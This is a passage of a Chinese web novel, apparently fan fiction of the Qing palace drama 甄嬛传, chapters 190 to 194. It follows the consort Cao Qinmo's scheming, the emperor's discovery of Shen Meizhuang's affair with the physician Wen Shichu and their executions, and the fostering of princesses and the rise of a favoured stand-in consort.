与此同时,长春宫的齐妃晋齐贵妃。丽嫔晋丽妃,瑾嫔晋瑾妃,博尔济吉特贵人晋为嫔,赐封号吉,瑜常在晋瑜贵人。 皇上后宫的人并不多,他又素来不是个大方的。所以,原剧里为了平衡年世兰而抬举的敬妃此时在皇上眼里也不过是个普通且没什么情趣的嫔妃,并未有晋封的必要。 而欣贵人的嘴实在是有些絮叨,她向来秉着‘心直口快’的人设,殊不知皇上并不爱听她的埋怨和小话。 至于安陵容,皇上虽有几分喜爱,但安比槐自女儿得宠后很是飘了一阵子,小小的松阳县县丞,竟然也自封为国丈四处敛财。 若不是安陵容实在温顺懂事,皇上便连着她一起撸个干净才是。 念着弘景这个儿子,皇上只是撸了安比槐的官职,这次的晋封也略过了她。不过在安陵容以退为进的懂事下,准其接了母亲和萧姨娘相伴进京定居。 安陵容进宫得宠并不算是第一梯队的,但她的职场路十分的顺利,平稳上升并未受到什么阻碍。所以还是攒下来了一些体己。 “贤姐姐,嫔妾也是无法了。母亲胆小,萧姨娘也是个没见识的。嫔妾一无并无可用之人,二没有对京城的了解,只能厚着脸皮来求姐姐,帮嫔妾一把。” 安陵容并不在乎自己是白身之女,反正安比槐就是在职时她也没有蹭到什么好处。况且她有自知之明,不说贤贵妃养育的三位阿哥,单是她们钟粹宫的主位瑾妃,那可是出自富察氏的贵女。 弘昕有那样的外家,只要稍微有些脑子的人都知道,她们这些汉军旗并没有什么竞争力,除非弘昕有个跟三贝勒一样的脑子。 但是,安陵容觉得不可能。就算瑾妃不聪明,但钟粹宫里突然换了几个新面孔,不难看出富察氏是在意这个皇子的。 思及此,安陵容把心思放在自己快要到京城的母亲和萧姨娘身上,总觉得哪哪都愁的慌。 “妹妹也是知道的,姐姐家在京城也并无什么势力。我父亲也只是涿州州同,若是在涿州,买个小宅子,挑选几个靠谱的下人还算好办,可这京城里,姐姐怕也是无能为力。” 储秀宫的小太监倍财是皇上的人,曹琴默早就知道,所以像这种时候从来不背着人。 安陵容舒了口气,涿州离京城并不算远,能有贤姐姐的家人帮忙照顾一二,她才是十分的安心。 如果母亲和萧姨娘单独在京城住下,她绝对是日日吃不好睡不好的提心吊胆。无权无势,她一个贵人,还真的怕护不住母亲。 即便她没什么份量,但到底是宫嫔,若有那有心之人抓了母亲威胁她做什么事呢?不是安陵容乱想,毕竟这世道好人可不算多。 只是她也知道,如今自己位卑言轻,还是要努力争宠,才能回报贤姐姐的恩德。 “若是可以,能得姐姐帮助照看母亲一二在涿州,陵容感激不尽。陵容愿做牛做马供姐姐驱使,绝无二心。” 安陵容直接跪在了地上,倒是唬的曹琴默一激灵。 “快起来,哪里就担得起你这般大礼。能帮得上忙的,本宫自然会帮。” 曹琴默把安陵容拉起来,当着她的面儿写信回家。 曹轩接到信后发了一会子呆,这个女儿自入了雍亲王府后,家里给过一些银子,其余的便再没有插手过。 如今曹轩也有自知之明,论家世,他一个州同实在给不了女儿太多帮助。不过,看女儿的动作,她也不是个野心勃勃的。 曹轩和家里人还是很安心的,毕竟他们还没有膨胀到想捞一个国舅当当的想法。 “我记得,我有个陪嫁的宅子,就在隔壁街上,只是因着被几个兄弟分了分,只剩了一进的小院子。不如就把这位安夫人安顿在这里吧,离着咱们近些,也好照顾。” 曹琴默的母亲是标准的小门户当家主母,对女儿不苛待但是也没多重视。如今女儿发达了,她倒是也没想着上赶着扒着得些好处。 “嗯,我给贵妃娘娘回信就是了。” 安顿好了安母,安陵容似是开了窍一般,唱歌跳舞弹月琴,含情的眸子如水的腰肢,缠磨的皇上什么白月光都不记得了,日日陷在温柔乡里不可自拔。 其付出自然是得到了巨大的反馈。皇上对一个女子的满意往往体现在各种赏赐和晋位上。 单是那价值千金的浮光锦和云锦,除了曹琴默这里,也就是安陵容最多了。 安陵容还是个记恩的,知道福慧就是贤贵妃的心头宝。这些好的料子,她挑了娇嫩鲜艳的,把福慧的衣裳都包圆了。 更别提那些皇上私库里价值连城的首饰和摆件,只要是安陵容有双份的,储秀宫必有一份。 若是单份的,安陵容也会在皇上赏赐后,悄悄的挑了适合曹琴默或者温宜的送去。 曹琴默如今什么都不用管,只安心的打理宫务,便有大把的金银玉器进入口袋。 得空时,齐贵妃也会过来帮忙带带孩子。 她得了个金孙,但弘时毕竟开府了,她也不好叫三福晋总来宫里请安影响小两口感情。所以便把一腔的热情喂给了储秀宫的四个孩子身上。 后宫一片祥和时,皇上还没有欣慰多久,曹琴默安排的第二场绿帽子戏份便拉开了帷幕。 自甄嬛搬出延禧宫后,沈眉庄一个人自由归自由,但甄嬛得宠的光是一点也沾不上了。可她却心底有些隐蔽的愉悦。 甄嬛彻底进入到了皇上的管辖范围内,在请平安脉一事便不是温实初可以毛遂自荐或甄嬛指定的了。 “你若是不愿来,便不必来了。何苦丧着一张脸,难不成便这般不想见我吗?” 温实初如今只负责沈眉庄一人,他看了一眼沈眉庄,被她眼底的情意烫的瞬间收回视线。但耳尖的红晕却告诉着沈眉庄,这个男人也不是无动于衷。 她抿着嘴收起刚才的伶牙俐齿,把手伸到温实初眼前。 “姑姑一切都好,若是不想吃药了,臣便改了药方。” 温实初低着头,手还在沈眉庄的手腕上搭着,说的话却并未叫眼前人满意。 “你还不知我的心思吗?怎说这剜心之语?” 沈眉庄反手拉住温实初的指尖,丝毫没注意外头的日头,高高挂在天上。 “姑姑,姑姑的身子心疾未愈,还需静养才是。” 沈眉庄这才露出了一点笑模样,松开了手。 采星看着温实初离开的背影松了口气,只觉得后背的衣服湿答答的粘在后背上,一阵清风便带来一阵颤栗。 每次这位温太医来的时候,她都觉得自己在鬼门关前走了一圈。晚上做梦都是砍头板子等刑具,人都瘦了好几圈。 可是,采星看了一眼里头宛若新生的小姐,也只能咬着牙继续在刀尖上站着。 (涿州,大约保定北部。) 第191 章 曹琴默49 可惜延禧宫不是那个偏远又狭小的碎玉轩,温实初频繁的出入到底引起了掌事宫女徐芳和首领太监瞿快的注意。 “这位到底是什么病?用的上太医一天三次的往延禧宫跑?” 徐芳是舒穆禄氏族人,当年家族跟随顺治帝入关后,为了彰显满汉一家亲,他们这些大族都会挑选几个旁支简化成汉姓。 徐芳家就是其中被挑中的一族。家里头的日子其实并不算难过,但包衣深耕后宫已久,远比到了年岁出宫嫁那没多少选择的老男人,日子要好过的多。 所以徐芳特意求了家里给寻了个‘看起来’不容易出挑也不会太难过的宫室过来当个掌事姑姑。 汉军旗的沈贵人和甄常在,这两人的家世算不得拔尖,但族里人说二位小主容貌不俗,应是能安稳到老的。不过,这都是体面些的说法。 其实真正叫徐芳‘不得不’沦落到延禧宫的原因只有一个。 皇上选的人不多,新开的宫室只有钟粹宫和延禧宫。 钟粹宫提前被孝淑皇后安排好了人,她只能退而求其次,选择了延禧宫。 没想到的是,本以为能规规矩矩叫她能混上老太妃身边的掌事姑姑的两位小主,竟然一个比一个能折腾。 若是能步步为营稳步晋升也就罢了。偏两个人是看不清形势的‘假清高’。 徐芳虽然没受到太大的连累,但这种脑袋别在裤腰上的感觉实在不怎么美好。 幸好皇上调走了一个,只剩一个沈官女子,本以为能清闲些。却还没叫他们过两天舒坦日子,这又出了幺蛾子。 “我这心里头总是七上八下的,这沈官女子被沈家除了族可见其不是什么拎得清的人。也不知道沈家怎么养出来这么个害人精!” 他们俩如今守着这延禧宫不求大富大贵,只求平安到老。 但是太医频繁出入,两人又瞧不出这位官女子到底病的是如何的重,这可不是什么好兆头。 两人一寻思,瞿快决定还是先去找找老哥哥苏培盛说上一嘴。免得日后生了什么事,他们还落上一个知情不报的‘帮手’的名头来,那可真是要呕死了。 养心殿外。 “哟!你们可瞧清楚了?!这可是大事!” 瞿快曾经在宁寿宫干过几年,是孝惠章皇后崩逝后才被调进去负责看守宫殿的,也算是宫里的老人了。苏培盛自然也是熟悉的。 “咱们也是怕有个万一拿不准主意,这才找上您的。这温太医日日都要来请脉,每每沈官女子屋子里连宫女都赶了出来在外头站着,奴才实在不敢不报啊!” 采星的放风之举更是为了两人添了‘奸情’的实证,这苏培盛哪里敢耽搁,两条腿一迈直接进去禀报。 皇上听完的第一反应是在想,沈官女子是谁来着? “你仔细说。” 瞿快被苏培盛带到养心殿跪着,他只求皇上看在他举报有功的份上,留他一条狗命。 “回禀皇上,几月前沈官女子染了风寒,便是这位温太医负责医治。后便上报了诱发心疾,一直在延禧宫后殿休养。甄官女子搬离后,温太医由每三日一次改为每日一次来延禧宫把脉。 奴才和徐芳本以为沈官女子心疾严重,本也没太注意。 但最近一月里,温太医一日里能来个两三次。据奴才观察,每每温太医进去把脉时,沈官女子身边的宫女便会在门口站着。” 皇上冷着脸,没什么感情的说道:“今日温太医可去了?” 瞿快颤颤兢兢的趴着,头上的汗已经在地上聚成了一摊水渍。 “今儿来了一回了。想来,想来下午还是会带着药来的。” 偷瞄了一眼皇上的神情,苏培盛问道:“大约是什么时候?” 瞿快想了想:“约莫是申时三刻左右。” 皇上挥了挥手:“下去吧,别打草惊蛇。” 瞿快磕头的瞬间用袖子快速的抹了一遍地,有种劫后余生之感抖着腿往外走。 知道延禧宫的首领太监去了养心殿,曹琴默早早叫颂青把温宜接了回来。 她看了眼不远处似有阴云飘过低声呢喃道:“起风了。” 延禧宫这两个人以为自己是被内务府公公随意分配到这个没什么前途的宫室,其实是曹琴默找了黄规全做的。 这两人不属于任何势力,唯一在宫中多年的本事就是小心谨慎。这样的宫人在两位追求‘真爱’的甄沈姐妹身边最是合适不过了。 这种男人的绿帽子一事,能不沾手就不沾手。从传言到见证,不管是其中的宫人还是太医院记录太医出入时间的医士,曹琴默这边的人手都离的远远的。 午后,温实初果然端着药到了延禧宫。 “你坐下吧!只是说两句话,我如今在这宫里都快成了哑巴了。” 沈眉庄和温实初相对而坐,这段时间安稳的日子叫两人都失了警惕。 温实初看着还是那副窝窝囊囊的表情,但实际上手已经握住对面人的柔荑半晌不曾松开了。 采星被夏刈直接捂住了嘴,瞿快和徐芳带着皇上在偏殿的窗下站定。两个人对视一眼,同时后退三步。 皇上斜眼扫了两人并没有出声。 “若不是你,我还不知道要在这深宫里怎么熬过才好。” “姑姑不必忧心,微臣虽然只是一介太医,但也万不会叫姑姑难过的。” 沈眉庄有些惊喜有些羞涩的声音随后响起:“你莫要叫我姑姑了,这实在难听。” “眉儿。” “实初。” 皇上只觉得自己头上的瓜皮小帽已经变成了绿油油的颜色。 “朕倒是不知,朕的后宫还藏着一对有情鸳鸯。” 皇上的声音骤然响起,沈眉庄和温实初两人脸色大变。 “婢妾给皇上请安。” “微臣参见皇上。” 两人同时行礼,不同于温实初的慌乱,沈眉庄的神情只是乱了一瞬,便恢复了原本面对皇上的不苟言笑。 “宁可枝头抱香死?你可真是不守妇道还要立贞洁牌坊啊。” 皇上的语气只是平平,但沈眉庄却像被扇了一个耳光般,两颊骤然生出热气。 “婢妾与温大人发乎情止乎礼,并无任何逾矩之处,望皇上莫要冤枉婢妾和温大人。” “礼义廉耻四个字,你是一个都没做到。孔孟之乡生了你这么个女儿,也是把耻辱二字定在了族谱上。” 皇上不耐烦的看着两人僵硬的身影,想到了什么颇有些遗憾的咂了咂嘴:“沈氏果断,早先上折子阐明了你这贱妇被沈氏除族,今后一切与济州沈氏无关。这下,株连九族便只有温氏了。” 温实初本想一人做事一人当,大不了直接撞死在这里平息皇上的怒火。可如今皇上一句九族,便叫他那欺师灭祖的大脑恢复了正常。 敢在宫里调戏皇上的女人,他是跟温家的族人有世仇吗? “皇上恕罪!一切都是微臣之过,请皇上饶恕微臣的家人。” 刚想喊着杖毙,就想起了前段时间贤贵妃说宫里头孩子多了,想着去宝华殿祈福。 “罢了,给温实初一杯毒酒,叫沈氏看着他喝下去。” 皇上想自己还是不要在后宫里打板子了,贤贵妃一片慈母之心不可忽视了。 只是这毒酒到底不算痛快,皇上扯了扯嘴角:“看好沈氏,温氏行刑那日,叫她看清楚了再一并送走。” 皇上站起身,不顾身后的哭喊慢悠悠走出了延禧宫。 杀人不过头点地,皇上就是要让沈氏看一看,就因为她不守妇道红杏想要出墙,连累了多少人。 虽然不喜沈氏,但这顶绿帽子还是叫皇上不舒坦,他捂了捂自孝淑皇后去后就没好过的牙,疼的面无表情但准备牵连沈氏。 沈自山被连贬三级,成为了正五品的济州城守备。虽然族中的女眷没有再一次被斥责,但谁不知道皇上这般无缘无故的贬斥定是因着宫里的那位没出息的官女子。 一时间沈氏的女子心如死灰,本以为熬过了那阵暗无天日的时候,没想到峰回却路不转,宫里的那位一点活路都不给族里的人留。 沈眉庄眼睁睁的看着情人被喂了药,浑身疼痛的在地上打滚,她被架着胳膊,不停的哭喊却无济于事。最后,温实初惨死在地上,眼睛却看着宫外的方向,沈眉庄知道,他是担心宫外的家人。 可惜,沈眉庄什么也做不了。她并没有后悔自己和温实初挑明了心思,只是悔恨自己做的不够隐蔽被皇上察觉。 一直到被带入大牢中,被温母一口一个‘贱人’喊的心头发苦,才想起济州的家人,会不会也恨有她这么一个女儿。 温家人一个个也倒在了沈眉庄眼前,沈眉庄有胆量给孩童下药,那是因为被下药的人的下场她不用亲眼看着。 眼前的场景下,鲜血摧毁了沈眉庄的神志,打断了她一直不曾折腰的傲骨。 直到她神志不清被一脖子吊在宫里的房梁上,沈眉庄心里想的,还是那满脸鲜血倒在她面前的,温实初。 曹琴默得到沈官女子因心疾被温实初治死的消息后,倒了一杯温茶。 ‘前世因今世果,甄嬛,这宫里只有你陪我了。’ 第192 章 曹琴默50 “眉姐姐她到底犯了什么错?婢妾只是想去送她一程也不可以吗?” 甄嬛扒着皇上的靴子,自听闻沈眉庄死讯后不停落泪的眼睛全然不复皇上心里头思念的模样。 他冷淡的抽出腿,手里拿着一本【道德经】看着没有给甄嬛一个眼神:“犯了什么错?你与她是好姐妹,沈氏的心思,你当真是不知吗?” 皇上特意模糊了言语里的意思,轻飘飘的瞥了甄嬛一眼。 甄嬛的眼泪蓦然止住后,脑子开始疯狂的转圈。 ‘皇上这是什么意思?难道,难道眉姐姐和温实初?’ 她的表情管理很到位,但可惜眼神还是露了些端倪。 皇上见她这般突然就不想问了,他意兴阑珊的摆了摆手,只见芳若打后头出来,强势架起甄嬛行礼离开。 他一个人带着苏培盛在后宫里溜达,望着满天繁星只觉得自己孤寡的厉害。 看着不自觉就近在眼前的翊坤宫牌匾,皇上伸手推门而入。 坐在蒲团上对着年世兰的画像嘀嘀咕咕的说了会儿心事,也懒得再走,直接在翊坤宫里睡下了。 这里的奴才每日都会来洒扫两遍,维持着孝淑皇后生前在时的模样。床铺锦帐都是年世兰素日里常用的,物是人非,皇上这心里头全是念想。 曹琴默是知道皇上这几日总是在翊坤宫里住着的,她心里轻嗤‘假情假意’,但面上还是得做做戏。 “臣妾瞧着皇上的神色有些倦怠,可是这几日天儿热休息的不好?” 毕竟有四个孩子在,皇上总是喜欢在储秀宫坐坐。 “朕这几日总是会梦到世兰,心里头总是想着潜邸时,和世兰相处的场景。” 提起年世兰,曹琴默的表情也跟着带了些怀念和伤感。 “孝淑皇后最是喜欢皇上,若是知道皇上这般不注意身体,怕也是要心疼的。” 曹琴默觉得皇上就是嫌弃宫里伺候他的人少了而已,搞得自己很深情一样。 “前儿个瓜尔佳福晋递了对牌,说是想带着嫡女瓜尔佳文鸳格格来看望皇后娘娘。” 皇上抬头看了一眼曹琴默,这点上贤贵妃比皇后处理的好多了,最起码有事的她都注意着。 “叫她们在你这里坐坐就是了,皇后病重,不便打扰。” 毕竟是瓜尔佳氏的人,虽然是旁支,想必是眼瞧着富察氏出了个阿哥,心里头起了心思。 曹琴默笑了笑:“是,臣妾知道了。那郭络罗氏和喜塔腊氏也一并召来坐坐吧。皇后娘娘病重,宗亲福晋们总是惦记着,臣妾想着,好歹叫她们安个心也好。” 皇上知道曹琴默听懂了自己的意思,满意的拍了拍曹琴默的手。 “朕知道你是个体贴能干的,朕私库里有一对莲纹颂福紫罗兰的子母玉佩,你和福慧戴着正合适。” “那臣妾就谢皇上的赏了。正好福慧前儿个做了身丁香色绣折枝葡萄的衣裳,还是用了皇上赏赐的潞绸呢。一直惦记着要穿,皇上这连配饰都选好了。” “福慧这般就很好,朕的女儿自然就要用最好的。” 第二日,曹琴默接了几位要带自家格格入宫的福晋的对牌,并在畅音阁安排了一场小宴。 大家嘴里问候了一下皇后,算是走了今日进宫的流程后,便开始围绕着福慧公主来变着法的夸。 贤贵妃照单全收,她笑盈盈的拉着几位貌美可人的格格说了会子话,送人离宫时一人赏了一对鸳鸯玉佩。 不出十日,瓜尔佳氏,郭络罗氏,喜塔腊氏的三位格格就奉旨以贵人的身份入了宫,成为了紫禁城新鲜的血液。 虽都是满军旗的大姓,但到底是旁支的女子,这次进宫也是看着富察氏出了个小阿哥才想着要进来搏一搏前程。 进宫前各大家族也是做足了准备,听闻宫里的贤贵妃贤良温婉,不仅心地善良保下了富察氏的那位九阿哥,还抚养了三位阿哥,却并不曾修改玉牒。 甭管这人到底是不是真的贤良,有这样一个名声就说明贤贵妃此人是有所求的。都是人精,脑子一转就知道贤贵妃此举是为何。 固伦福慧公主,贤贵妃唯一的女儿,孝淑皇后临终前要了不扶蒙圣旨的公主。 这谁还分的清福慧和金饽饽的区别啊,他们恨不得直接举荐自家族里适龄的男孩进宫去得一个青梅竹马之谊了。 这三位贵人一入宫,便带着厚礼拜访了曹琴默。 曹琴默深知这些人的目的,但各取所需而已,皇后早就不成了气候,她们想生就生,一年一胎一胎八宝她都能保得。当然了,手底下能用的人很多,又有江城在手,她也只是动动嘴便能博一个人情。 后宫终于进入了曹琴默期待的模式,争宠的争宠,有孕的有孕。想跟她搞好关系的人太多了,温宜的择婿范围再一次扩大,她直接就是一个挑花眼的模式。 再一次听到甄嬛的消息,是皇上轻描淡写的抱着一个女婴来到储秀宫。 “甄氏生了个公主,贤贵妃觉得应当抱给谁比较合适?” 曹琴默是知道甄嬛有孕的,但毕竟是养心殿里,她的人手还没有那么全面,这突如其来的婴儿叫她一时间有些愣神。 “三公主?皇上若是愿意听臣妾一言,臣妾确实有一人选。” 皇上摆了摆手,奶嬷嬷抱着三公主跟着芊葵去后殿休息。 “你说就是了,这几年后宫在你的手里安安稳稳,朕都知道。今日带着三公主过来,就是想听听你的意思。” “臣妾这也是有私心的,皇上不怪罪就好。” 曹琴默的脸上带了些红晕,眼神闪躲了两下才对上皇上的眼神。 “臣妾想着,是不是可以给吉嫔妹妹抚养三公主?” 皇上闭着眼睛甩了甩手里的串子嗯了一声,听着语气倒并不冷漠。 “咱们大清的公主扶蒙也算是旧俗了,福慧得孝淑皇后的萌荫庇佑,又有皇上偏爱自然是好的。 三公主若是能养在吉嫔名下,也算是有了一份保障。更何况吉嫔出身蒙古,更为熟悉蒙古养育孩子的方法,说不得三公主能更快适应,也是一件好事。” 曹琴默的声音低了下来,皇上自然听的到。 “不必如此谨慎,你慈母之心为了福慧日夜操劳朕都看在眼里。三公主的事你考虑的很全面,吉嫔那里确实是个好去处,难为你处处为了别人的孩子着想。” 曹琴默轻轻出了口气:“皇上不怪臣妾逾矩有私心就好了。臣妾也是想着吉嫔到底是博尔济吉特氏,今后三公主能更亲近蒙古,想必是能过的好些。公主们本就娇贵,能尽早适应,自然是更有裨益。” 这个结果三方都很满意,吉嫔送来了三箱子从蒙古带来的首饰,其中的一整块骏马玉雕刻而成的半人高威风凛凛的战马受到了储秀宫四位小朋友的一致好评。 不好分配的曹琴默把战马摆到了储秀宫正殿的条案上,供大家一起欣赏,这才解决了围绕在耳边的‘额娘’声。 而绿松石和蒙古白玉制成的腰链被温宜拿着缠到了微微有些突出的小肚子上,配着青绿色的小旗装,另类搭配也十分的抢眼。 至于再一次睁开眼就得知孩子被抱走的甄嬛,听闻夜夜流泪,只是不知道哭的是孩子,还是自己了。 第193 章 曹琴默51 “今日的故事听完了,咱们要休息了。明儿个,额娘带你们去引见楼,和你们皇阿玛射箭去,好不好?” 又是一年避暑时,曹琴默带着四个已经能跑能跳的孩子仍旧在坦坦荡荡住着,旁边就是已经晋位为婉嫔的杏花春馆的住所。 安陵容升至嫔位后皇上也问了弘景的意思,弘景自懂事以来就知道自己是宫中独一份,有两个额娘的孩子。 他始终为这一点而骄傲,也从来没有在两个额娘之间有任何为难之处,因为两个额娘对他始终如一的爱护和疼惜。 弘景舍不得额娘和福慧姐姐,不过幸好他是个腿脚十分灵活的孩子,两边都住着,争取一碗水端平。 只是若算起日子,还是跟着贤额娘的时候最多,毕竟他最爱的福慧姐姐和弘晏哥哥都在贤额娘这里。 今日也不例外,弘景和弘晏,弘晾三人听完故事,便行礼告退,回到自己的房间睡觉去了。 临走前羡慕的看了一眼被贤额娘搂在怀里的福慧姐姐,只恨自己不是个公主。 “额娘,皇阿玛说过几日要举办小宴,叫女儿好好看一看,是想给温宜挑选额驸吗?” 温宜极其早慧,她完美的继承了曹琴默聪慧的大脑和有语言艺术的嘴。把自家那个没听过几句甜言蜜语的皇阿玛和三个弟弟拿捏的死死的。 母女俩在温宜的理解力具备处理复杂的思维后交谈过几次,温宜理解自家额娘在深宫中的不易,也知道几位弟弟今后的作用。 不仅不拖曹琴默的后腿,甚至有些话更适合温宜这般‘不经过’大脑来说,更为妥帖。 “是了,额娘跟你说过,你的干娘孝淑皇后临终前求了皇上的圣旨,为你铺了一条时下相对于其她公主来说的康庄大道。你有孝淑皇后的惦记,便是你最大的倚仗。 至于弘晏他们,额娘能这么多年始终如一的护着他们平安长大,也能坦诚的告诉他们,其额娘的事情,也是为了叫他们今后不至于为了别人的挑拨,就失了对你的情分。 皇子固然重要,但对额娘来说,温宜就是最珍贵的宝贝。过几日的家宴,温宜不着急和那几位公子说话,知人知面不知心。他们求娶公主是为了利益,咱们下嫁京中大臣之家也是为了利益。 但总得来说,温宜你还有许多的挑选余地。得利的同时,也可以保证自己的舒心。” 曹琴默在温宜还是襁褓中的婴儿时,就制定了三版不同的相处方案。经过几年的母女相处,她能感知到温宜是个极为早慧的孩子。 早慧的孩子多伤,但曹琴默会及时的了解温宜的需求和心情。母女俩既是朋友也是师徒。 “女儿知道了,温宜还小呢,还要多陪额娘好多年才好。” 温宜爱读书,皇上便开了景阳宫并后头的御书房给她一个人安静的看。 温宜喜欢骑马,皇上便找了圆明园最厉害的驯马女武氏武无双来宫里为温宜授课。 温宜喜欢研究西学,皇上便请了孝淑皇后的大哥年希尧亲自为他讲学。 年希尧编纂的【对数广运】【数表】【视学】等书,温宜都拥有年希尧的亲笔原本。 这几年曹琴默并不知道年世兰的消息,既然在宫中孝淑皇后已死,那曹琴默就绝不会有别的念头。 不过,到底这几年拿了年家不少好处,温宜说起御书房先帝编纂的【数理精蕴】有些不理解时,曹琴默便想到了年希尧。 年家这几年低调了许多,年羹尧摔了胳膊后不能提枪,皇上便许了他退居二线带着年富和年兴上战场。 岳钟琪等武将也在年羹尧收敛锋芒后如雨后春笋般的冒出。年家虽然不复以往荣光,但就这一份孝淑皇后的情谊,便是稳了这一世的富贵。 不过,武不能冒头,文便可以突出些。 皇上也是想到了年希尧那不会做官的性子,很是放心的把人给了温宜当夫子。 受了裨益,年家投桃报李,把皇上这几年寻摸的‘好男儿’私下里的第二副面孔费劲找了出来,递到了曹琴默手中。 互利互惠,第二日温宜便带着弘晏一起开起了小课。 “年夫子,这是我弟弟弘晏,他也想听一听关于【视学】的讲学。” 年希尧温和的笑了笑,眼底闪过了然,讲课更加卖力了。 弘晏完美的继承了皇上的脑子和芳妃的心眼子,是个聪明但只擅长走阳谋大道的孩子。 自从知道自己不是额娘的亲儿子后还伤心了一阵子,不过额娘待自己与姐姐从未有过区别,弘晏拜了拜芳妃的牌位后,仍旧是额娘的好儿子。 年府在竞争温宜额驸这个路上没有任何优势,所以他们想要一个阿哥侧福晋的位置。 曹琴默也隐晦的暗示过年希尧,她储秀宫的阿哥不会参与前朝的那些蝇营狗苟之事。 这些孩子都是她给温宜准备的后路,即使没有登上最高那个位置,凭着跟其他几位阿哥还算不错的关系,也能安稳的做个亲王。 若是有本事入了皇上的眼一朝为帝,她更不会为了眼前的蝇头小利,坏了温宜和弟弟们的情谊。 年希尧很欣赏曹琴默的理智,也跟她达成了共识。 毕竟年家也不怎么信任这位刻薄寡恩的皇帝的种子,他们如今不求从龙之功,只求女儿安稳荣华。 两方一拍即合,弘晏自然是参与了和额娘姐姐的小会,对于接触一下年家并不抵触。 “儿子是皇子,这些事都是平常。额娘放心,儿子不会因为一些不着调的流言跟额娘生分的。” 这几年乌拉那拉氏虽然打不了胎,但是传些闲话还是能做到的。 如曹琴默一开始所料,皇后传的就是她贤贵妃曹琴默害了芳妃和慧妃后,抢了六阿哥和十一阿哥养。 这流言无凭无据,但突然在后宫里兴起。 不过曹琴默并没有改了两位阿哥的玉牒,所以大家都没往心里去。 就连弘晏和弘晾都来安慰曹琴默:“额娘别难过,咱们都是一起生活的。额娘什么样儿子是最清楚不过了。每逢忌日,都是额娘带着儿子去给亲额娘祈福,这些人其心可诛,不必放在心上。” 好在曹琴默从小洗脑的功力也不弱,再说她也只是算是冷眼旁观了一下,确实是问心无愧对两个孩子。 “额娘不难过,流言伤不了额娘。只要你们好好的,额娘就不怕这些。” 弘晏和弘晾亲自带人把传流言的宫人抓起来扔到了慎刑司,后宫再次恢复了祥和。 这几年皇上吃不得甜,人胖的厉害,牙也掉了不少。还好太医医术厉害,才叫他还是活蹦乱跳的。 只是本就身子一般,如今这样更是条件差些,这几年新进宫的三位贵人也只有瓜尔佳氏和喜塔腊氏分别得了一儿一女。甄嬛倒是接连又生了两个孩子,一个阿哥一个公主。 被皇上放到曹琴默这里后,儿子分配给了郭络罗氏,女儿分配给了已经晋为瑜嫔的孙妙青。 孙妙青被皇后坏了身子并不自知,还是她这么多年未有身孕实在着急,找到了曹琴默。 江城一出手,皇后那不算隐蔽的手段在曹琴默有意的引导下再次暴露出来。 皇上无奈,这才便有了甄嬛这个小女儿的归宿。 “娘娘,武无双传来消息,皇上那里,怕是等不及了。” 颂青这几年跟着温宜,但是经手年家的事还是由她做的。 “也钓了够久了,收网吧。” 甄嬛生育多次虽然仍旧康健,但面色却不复容光。白月光已然变成了米饭粒,朱砂痣却仍旧热烈。 第194 章 曹琴默52 “朕有意封武氏为贵人,贵妃以为如何?” 武无双作为年家精心挑选认真培养的替身,‘恰好’在皇上的思念中于圆明园被皇上一见钟情。然而她性子倔强,并不愿入宫。 彼时皇上对年世兰的愧疚和思念在脑海中不断交锋,他并不想破坏武无双这份与记忆里的年世兰如出一辙的桀骜不驯。 恰好温宜需要一位骑射的夫子,皇上便先把人接到了宫中。变身为三好阿玛,基本上温宜的骑射课,日日都陪同着。 曹琴默也没想到皇上还挺能忍,甄嬛的四胎都生了,皇上才把人接到永寿宫中。 于皇上而言,武无双虽然是替身,但是记忆里的世兰,是不可不明不白的受委屈的。 “皇上喜欢,有何不可?” 曹琴默笑的了然,眼神里适时的带了些怀念。 皇上把手上的十八籽戴到曹琴默的手腕上:“这宫里能知朕心者,唯有曹卿。” 武氏是孤女,无父无母也无走动的族亲。皇上怜爱她亲缘寡淡,便把武无双记到正黄旗包衣武氏武世宜名下,为其遗腹子庶幼女。 武世宜生前任总管内务府大臣,世代包衣内务府中等官僚家族。 突然得了这么一个女儿,满身是心眼子的武氏自然知道皇上意欲何为,开开心心的把人领进门,再由着圣旨下发以正五品贵人的身份被接进宫中。 武无双的气质极为接近年世兰,但偏性子是个冷淡的,与年世兰的骄阳似火背道而驰。 皇上也喜欢她不笑的样子,武氏冷着脸的模样,有六分与孝淑皇后相似,偏笑起来,就失了那份神韵。 没有皇后的‘谏言’,武氏进宫后便入住永寿宫主位,当天侍寝后便得了封号兰。 不仅有椒房之宠,甚至今后的一个月,皇上都没有去别的宫室一步。 兰贵人晋位兰嫔,也不过半月余时间,皇上像是疯魔了一般宠着她,后宫不是没有怨言的。 但正如曹琴默所料,大家基本人手一娃的情况下,很少有人真正关心皇上的宠爱在谁家。 只要自个儿宫里的赏赐和生活质量不下降,基本上没什么大的龃龉。 祺嫔瓜尔佳氏生育了四公主昭凝,她一如既往的喜爱拈酸吃醋,对于永寿宫的兰嫔很是看不上眼。 但祺嫔的战斗力基本属于底层人员,进宫前瓜尔佳氏也耳提面命了几番免了她争强好胜的心思,每日里定点在宫里头骂上两句也就罢了,真要做些什么她也没那个脑子。 “曹卿,兰儿有了身孕,朕欲晋她为妃,好叫她安心养胎。” 曹琴默的脸色未变,还是一如既往的平静温和。 “这是好事,有时候臣妾看着兰妹妹也会晃神,皇上决定便是。” 皇上愿意抬举武无双跟她有什么关系呢?因着这位朱砂痣的替身,温宜的日子已经过的堪比国母。 衣裳从没有重复的,首饰是戴不完的,膳食是最精致的,四书五经西学兵法,只要是温宜喜欢的,皇上便没有不同意的。 就连她手里的宫权,也从紫禁城扩大到外头的园子和庄子,可以说宜修曾经有的她有,宜修没有的,她也有。 身下的三位阿哥懂事贴心又上进,虽家世比不得瑾妃的弘昕,但到底也是两位满军旗的阿哥,递到她手里的对牌日日里都有着。 只不过,曹琴默看着皇上的背影露出意味深长的微笑,江城特意去保的‘胎’,这份惊喜希望皇上喜欢吧。 兰妃进宫不过半年,从贵人到妃位竟是比宫中大部分的人都要快。 不高兴的人自然不少,明面上斗嘴的曹琴默也只是一笑而过,比如齐贵妃,丽妃和祺嫔。三人也只是痛快痛快嘴,不仅伤不到兰妃分毫,甚至还被皇上训斥‘心胸狭窄’。 而真正动手的人,则是看起来老实安分的嘉嫔喜塔腊氏和宁贵人郭络罗氏。 两人都是满族老姓的后人,这宫里头鱼龙混杂,自然是有自己的人脉。 尤其是郭络罗氏,先帝宜妃可是掌管宫务的四妃之一。就算是一朝天子一朝臣,被清洗了大部分的人手,藏得深的,也足够她在这还算祥和的后宫搅弄风云。 曹琴默只做旁观,永寿宫是皇上完全派人把持的地方,就算武无双有什么万一,也连累不到她身上。 